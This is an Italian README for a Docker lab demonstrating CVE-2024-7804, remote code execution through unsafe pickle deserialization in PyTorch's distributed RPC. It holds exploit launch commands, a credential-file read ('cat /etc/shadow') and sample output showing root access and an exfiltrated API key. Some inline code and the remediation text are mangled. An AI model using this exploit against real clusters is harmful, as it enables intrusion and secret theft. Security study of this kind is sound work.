
Lab Docker autonomo ed exploit Python che dimostrano CVE-2024-7804, una RCE critica nella RPC distribuita di PyTorch tramite deserializzazione pickle non sicura (CWE-502). Include due tecniche di sfruttamento e indicazioni di rimedio.
Laboratorio autonomo + exploit per CVE-2024-7804: esecuzione remota di codice
nel framework RPC distribuito di PyTorch (torch.distributed.rpc) tramite
deserializzazione non sicura di dati non attendibili (CWE-502).
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()Nota: questa advisory è stata successivamente ritirata/rifiutata dai maintainer e da Red Hat come "funzionalità nota" — l'RPC di PyTorch è per progettazione un sistema peer attendibile. Il laboratorio è comunque una dimostrazione pratica e accurata del problema segnalato.
Ogni chiamata RPC trasporta una namedtuple (, , ). Sul nodo ricevente viene ricostruita con un , senza allowlist e senza controllo di integrità:
PythonUDFfuncargskwargspickle.Unpickler# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- pickle controllato dall'attaccante
...
Qualsiasi peer che possa unirsi al "mondo" RPC può quindi far eseguire al nodo codice
arbitrario — tramite un gadget pickle __reduce__ che scatta durante load(), oppure
semplicemente nominando qualsiasi callable importabile come UDF, poiché nulla limita ciò
che il nodo eseguirà.
CVE-2024-7804/
├── docker-compose.yml # vittima + attaccante su una singola rete bridge
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — l'immagine vulnerabile
│ └── server.py # vittima: un worker RPC fiducioso che attende i peer
└── exploit/
└── exploit.py # attaccante: si unisce al mondo e ottiene RCE sulla vittima
Docker con il plugin Compose. Solo CPU (nessuna GPU), funziona su amd64 e arm64.
# 1. Avvia il nodo vittima vulnerabile (rank 0, attende un peer)
docker compose up --build -d victim
# 2. Lancia l'exploit (predefinito: esegue un comando sulla vittima e ne riceve lo stdout)
docker compose run --rm attacker
# 3. Smonta tutto
docker compose down
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====
L'attaccante ha eseguito comandi come root sulla vittima ed ha esfiltrato un file che non avrebbe mai dovuto esporre.
| Comando | Cosa dimostra |
|---|---|
docker compose run --rm attacker | Invia subprocess.check_output come UDF. La vittima esegue il comando e restituisce il suo stdout — RCE ed esfiltrazione in un'unica chiamata. |
docker compose run --rm attacker python exploit.py --reduce | Invia un oggetto il cui __reduce__ esegue os.system mentre la vittima unpickla il payload — RCE al momento della deserializzazione (l'essenza di CWE-502), prima ancora che la UDF venga chiamata. |
Comando personalizzato:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
Per --reduce, il comando viene eseguito sulla vittima, quindi osservalo lì:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # l'output appare nel log della VITTIMA
Il log della vittima per --reduce termina con un traceback in
torch/distributed/rpc/internal.py, riga ~207 (python_udf.func(...)) — prova che il
payload è stato già ricostruito ed eseguito dall'unpickler non sicuro.
29500) a reti non attendibili.Solo per scopi educativi e test di sicurezza autorizzati. Il laboratorio è intenzionalmente vulnerabile — non distribuirlo ed esegui l'exploit esclusivamente contro questo laboratorio.